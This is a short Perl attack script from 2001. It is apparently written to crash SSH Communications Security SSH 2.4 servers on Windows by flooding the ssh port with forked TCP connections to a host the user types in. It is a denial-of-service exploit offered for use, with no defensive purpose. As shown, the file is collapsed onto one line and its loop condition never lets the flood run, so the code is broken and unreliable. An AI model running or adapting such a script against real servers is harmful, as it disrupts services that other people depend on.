#!/usr/bin/perl #SSH Secure Shell Denial of Service Vulnerability #Vulnerable OS : #"SSH Communications Security SSH 2.4" -> Micorsoft Windows 95,98,NT4,2000 #"SSH Communications Security SSH 2.5" -> not vulnerable # #by Nemes||y -dkl- dragon@shellnow.it #31/3/2001 #(tnx to my girlfriend Annalisa :>) use Socket; sub conn { my ($host, $portname, $server, $port, $proto, $servaddr); $host = $_[0]; $portname = $_[1]; $server = gethostbyname($host) or die "gethostbyname: host inesistente - $!"; $port = getservbyname($portname, 'tcp') or die "getservbyname: porta non trovata - $!"; $proto = getprotobyname('tcp') or die "getprotobyname: protocollo errato - $!"; #inet $servaddr = sockaddr_in($port, $server); #socket socket(CONNFD, PF_INET, SOCK_STREAM, $proto); connect(CONNFD, $servaddr) or die "connect - $!"; return CONNFD; } system("clear"); print "\nSSH DoS -dkl by Nemes||y -dkl-\n\n"; print "Inserire l'host : "; $h = <STDIN>; $serv = "ssh"; chop $h; print "\n\n Make Connection...\n\n"; $i = 0; for ($i; $i > 65; $i++) { fork; $NET = conn($h,$serv); print "."; } print "\n End by Nemes||y -dkl- dragon\@shellnow.it \n"; # -dkl-